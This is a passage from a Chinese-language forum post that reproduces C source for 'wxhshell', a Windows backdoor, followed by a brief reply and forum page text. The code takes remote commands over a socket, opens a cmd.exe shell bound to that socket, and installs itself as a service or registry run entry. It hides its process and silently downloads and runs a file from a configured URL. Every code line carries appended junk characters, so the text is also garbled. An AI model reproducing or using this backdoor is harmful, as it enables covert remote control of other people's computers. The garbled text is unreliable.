  if(DownloadFile(cmd,wsh)) \sk,3b-&'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]C!u~A\jq  
  else L2 I/h`n"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X **w RF  
  } .m<-)Kx  
  else { M?,;TJ7Gd  
3yTBkFI!  
    switch(cmd[0]) { j1BYSfX'  
  dWI\VS9  
  // 帮助 )T>a|.  
  case '?': { 62W3W1: W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r@_;L>  
    break; \UXQy{Ex  
  } y"2c; *7[{  
  // 安装 zIQ\ _>  
  case 'i': { '8dqJ`Gj  
    if(Install()) }RD,JgmV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YXmLd'F^3  
    else o:?IT/>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3,pRmdC  
    break; giI9-C  
    } C4b3ZcD2  
  // 卸载 oL<^m?-u  
  case 'r': { cM55 vVd  
    if(Uninstall()) Qc6323/"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (j2]:B Vu  
    else _3)~{dQ+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &)rmv  
    break; L:~ "Vw6]_  
    } RlpW)\{j?  
  // 显示 wxhshell 所在路径 Orz Dr  
  case 'p': {  6CCM7  
    char svExeFile[MAX_PATH]; HbCM{A9  
    strcpy(svExeFile,"\n\r"); Jr#ptf"Wu  
      strcat(svExeFile,ExeFile); }APf^Ry  
        send(wsh,svExeFile,strlen(svExeFile),0); Rrsz{a  
    break; k+_pj k  
    } XrYz[h*)!  
  // 重启 c: _l+CgeH  
  case 'b': { m,-:(82  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `2GHB@S"k  
    if(Boot(REBOOT)) htIV`_<Ro  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y%43w4  
    else { kGCd!$fsk  
    closesocket(wsh); $LKniK  
    ExitThread(0); `^RpT]S  
    } iQ:]1H s  
    break; xaejG/'iK  
    } i :@00)V{,  
  // 关机 R\)pW9)  
  case 'd': { e3&R3{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -fYgTst2  
    if(Boot(SHUTDOWN)) YMC*<wXN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7n {uxE#U)  
    else { W,}C*8{+  
    closesocket(wsh); g;vG6!;E\  
    ExitThread(0); Hj LY\.S  
    } S$ dFz  
    break; sAWUtJ  
    } sFMSH :5z  
  // 获取shell e5C560  
  case 's': { G|v{[>tr  
    CmdShell(wsh); ~`(#sjr6KR  
    closesocket(wsh); EC|t4u3  
    ExitThread(0); BG/M3  
    break; E\5t&jZr  
  } f8!*4Bw  
  // 退出 &")ON[|b  
  case 'x': { 89@gYA"Su  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o{lR_  
    CloseIt(wsh); g&) XaF[!  
    break; c&J,O1){\  
    } i_Ab0vye  
  // 离开 pq*W;6(-  
  case 'q': { QVsOB$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z`y!C3w<  
    closesocket(wsh); 7NE"+EP\{2  
    WSACleanup(); JT#jJ/^  
    exit(1); 9])dLL0  
    break; Hcq?7_)  
        } Nyip]VwMJ  
  } QJ\ o"c  
  } 3{O^q/R  
ZkSlztL)Tr  
  // 提示信息 := C-P7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sEm-Td+A5  
} vlY83mU.  
  } buu~#m 1z  
:q/%uca9  
  return; Qo+I98LX[  
} \]1qAFB5  
=W$ f +  
// shell模块句柄 3A!`U6C(  
int CmdShell(SOCKET sock) b*&AIiT  
{ 4}E|CD/pZ  
STARTUPINFO si; <F{EZ Ii  
ZeroMemory(&si,sizeof(si)); " N>~]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L3/m}AH,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q'>pOtJG*J  
PROCESS_INFORMATION ProcessInfo; LVP2jTz  
char cmdline[]="cmd"; +twl`Z3n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |WwC@3)  
  return 0; 589hfET  
} P|*c7+q  
GCm(3%{V%(  
// 自身启动模式 lLhvpvT  
int StartFromService(void) "NWILZwEV  
{ Is57)(^.-  
typedef struct =z#6mSx|W  
{ &8$Gy u  
  DWORD ExitStatus; Uq/FH@E=  
  DWORD PebBaseAddress; `Y]t*` e|  
  DWORD AffinityMask; AQ+MjS,  
  DWORD BasePriority; p?rh+0wgX  
  ULONG UniqueProcessId; L8R{W0Zr>!  
  ULONG InheritedFromUniqueProcessId; S\5%nz \  
}   PROCESS_BASIC_INFORMATION; tZ\e:AAi  
0])D)%B k  
PROCNTQSIP NtQueryInformationProcess; +)$oy]  
t@r>GHO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6)=`&>9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [>--U)/  
v *icoj  
  HANDLE             hProcess; hvW FzT5  
  PROCESS_BASIC_INFORMATION pbi; TP3KT)  
-J &y]'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `4IZ4sPi  
  if(NULL == hInst ) return 0; ak1?MKV.  
^cRAtoa  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A; _Zw[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y]!WPJ`f2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y[`>,?ns5  
, L_u X  
  if (!NtQueryInformationProcess) return 0; yK+1C68A  
UA4="/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); At<D36,^"  
  if(!hProcess) return 0; 1FA:"0lO  
rF?gKk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]?S@g'Jd0Q  
u~c75Mk_v  
  CloseHandle(hProcess); !#y_vz9  
,F%2'W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?i{/iH~Sf  
if(hProcess==NULL) return 0; <S ae:m4  
m+|yk.md  
HMODULE hMod; MD98N{+[|  
char procName[255]; mP*Ct6628n  
unsigned long cbNeeded; 1u8 k}  
"%(SLQOyy  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %fuV]  
o' EJ,8  
  CloseHandle(hProcess); _.%U}U  
3-/F]}0y6  
if(strstr(procName,"services")) return 1; // 以服务启动 t 7-6A  
P+L#p(K  
  return 0; // 注册表启动 gCV+amP  
} NoOrQ m  
8AVtUU  
// 主模块 gp+aUK~o  
int StartWxhshell(LPSTR lpCmdLine) V1#:[o63+  
{ ni$;"R GC  
  SOCKET wsl; {nPiIPH  
BOOL val=TRUE; Y 'y yrn}  
  int port=0; g@zhhBtQ  
  struct sockaddr_in door; SPT?Tt  
XvSng"f.  
  if(wscfg.ws_autoins) Install(); 9^+E$V1@  
+ mPVI  
port=atoi(lpCmdLine); ~2;\)/E\  
8kLHQ0pmu  
if(port<=0) port=wscfg.ws_port; 8'PK}heBU  
<KX fh  
  WSADATA data; T' =6_?7K4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kBU`Q{.  
g43(N!@g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -}1TT@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o<gK"P  
  door.sin_family = AF_INET; TKp2C5bX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )g?ox{Hol  
  door.sin_port = htons(port); ~8&P*oFC  
?bAv{1dvT=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a>Wr2gPko  
closesocket(wsl); bkuJN%  
return 1; <A(Bq'eQM  
} G<-<>)zO!  
X[!S7[d-y  
  if(listen(wsl,2) == INVALID_SOCKET) { Q@1SqK#-DQ  
closesocket(wsl); "TI>_~  
return 1; j&u/T  
} Zts1BWL[  
  Wxhshell(wsl); xO^lE@a o  
  WSACleanup(); T/FZn{I  
j}O qWX>/  
return 0; `mH]QjAO  
v@4vitbG9  
} U[?f@.&  
w^9< I]  
// 以NT服务方式启动 vb| d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I7W`\d)  
{ N!fjN >cw  
DWORD   status = 0; lMl'+ yy  
  DWORD   specificError = 0xfffffff; 9}_'  
6RG63+G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +z[+kir  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j#U,zsv:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p~NHf\  
  serviceStatus.dwWin32ExitCode     = 0; b0/YX@  
  serviceStatus.dwServiceSpecificExitCode = 0; jK".iqx2L  
  serviceStatus.dwCheckPoint       = 0; (*b<IGi;  
  serviceStatus.dwWaitHint       = 0; _K&Hiz/'  
{V pk o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (I`lv=R"j  
  if (hServiceStatusHandle==0) return; \H9:%Tlp~4  
MsZx 0]  
status = GetLastError(); `8r$b/6  
  if (status!=NO_ERROR) ~%2yDhdQ  
{ 9)8Cf% <(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O c.fvP^ZD  
    serviceStatus.dwCheckPoint       = 0; D2GF4%|  
    serviceStatus.dwWaitHint       = 0; 9Z }<H/q  
    serviceStatus.dwWin32ExitCode     = status; :T|9;2  
    serviceStatus.dwServiceSpecificExitCode = specificError; @lq)L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ex Q\qp3  
    return; oHr0;4Lg6  
  } r \[|'hA  
p/88mMr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9]{va"pe7  
  serviceStatus.dwCheckPoint       = 0; N:CQ$7T{ j  
  serviceStatus.dwWaitHint       = 0; vaJl}^T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); RO|8NC<oj  
} MN8>I=p  
Y mL{uV$  
// 处理NT服务事件,比如:启动、停止 MV??S{^4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a]P w:lT  
{ pF7N = mO  
switch(fdwControl) yj@k0TWT$  
{ F,A+O+  
case SERVICE_CONTROL_STOP: LR{bNV[i  
  serviceStatus.dwWin32ExitCode = 0; hv?T}E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :p,|6~b$  
  serviceStatus.dwCheckPoint   = 0; AorY#oq  
  serviceStatus.dwWaitHint     = 0; Z#B}#*<C  
  { _5H~1G%q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E p;i],}  
  } 4'=Q:o*w`  
  return; <i4]qO(0u  
case SERVICE_CONTROL_PAUSE: Kc95yt  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ov<c1y;f  
  break; %)r:!R~R  
case SERVICE_CONTROL_CONTINUE: w/O'&],x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +7o1&D*v  
  break; (9oo8&GG  
case SERVICE_CONTROL_INTERROGATE: p"c6d'qe  
  break; &A*E)T#>#  
}; <F(S_w62  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8'L:D  
} Lui6;NY  
UWEegFq*  
// 标准应用程序主函数  ?O+.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <tBT?#C9+  
{ TIZ2'q5wg  
K!Fem6R  
// 获取操作系统版本 -3i(N.)<;  
OsIsNt=GetOsVer(); Y.) QNTh  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <" nWGF4d  
qD4s?j-9  
  // 从命令行安装 yf0v,]v[  
  if(strpbrk(lpCmdLine,"iI")) Install(); A$N%deb  
W4&8  
  // 下载执行文件 dQ7iieT  
if(wscfg.ws_downexe) { 2oEuqHL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K}cA%Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q-V8=.  
} R;pW,]}g,  
B* mZxY1  
if(!OsIsNt) { LdH1sHy*d`  
// 如果时win9x,隐藏进程并且设置为注册表启动 Jw@X5-(Cp  
HideProc(); 6WQN !H8+^  
StartWxhshell(lpCmdLine); =1,!EkG  
} i+mU(/l2{  
else JZ`SV}\`  
  if(StartFromService()) Nwt[)\W `  
  // 以服务方式启动 &gruYZGK  
  StartServiceCtrlDispatcher(DispatchTable); %6 Av1cv  
else x}pH'S7  
  // 普通方式启动 >oWPwXA  
  StartWxhshell(lpCmdLine); 'g,_lF  
n]Yz<#  
return 0; 3))CD,|  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八